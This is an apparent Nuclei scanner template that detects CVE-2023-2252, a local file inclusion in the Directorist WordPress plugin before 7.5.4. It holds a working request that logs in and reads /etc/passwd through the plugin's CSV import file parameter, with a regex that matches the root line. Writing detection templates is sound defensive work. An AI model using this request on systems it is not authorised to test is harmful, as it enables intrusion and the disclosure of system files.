nuclei-templates/http/cves/2023/CVE-2023-2252.yaml

42 lines
1.3 KiB
YAML

id: CVE-2023-2252
info:
name: Directorist < 7.5.4 - Local File Inclusion
author: r3Y3r53
severity: medium
description: |
Directorist before 7.5.4 is susceptible to Local File Inclusion as it does not validate the file parameter when importing CSV files.
remediation: Fixed in version 7.5.4
reference:
- https://wpscan.com/vulnerability/9da6eede-10d0-4609-8b97-4a5d38fa8e69
- https://wordpress.org/plugins/directorist/advanced/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2252
metadata:
verified: true
max-request: 2
tags: wpscan,cve,cve2023,lfi,directorist,wordpress,wp-plugin,wp,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a004730450220483bccb4c989b5932f7e7bc2b7d8fd9b314b85cc66f43604f7c40770edc1f0070221008d52f1047b3eac64223c83c9fed7d7c616e0e3c529331f5edc139e1eaa080ffa:922c64590222798bb761d5b6d8e72950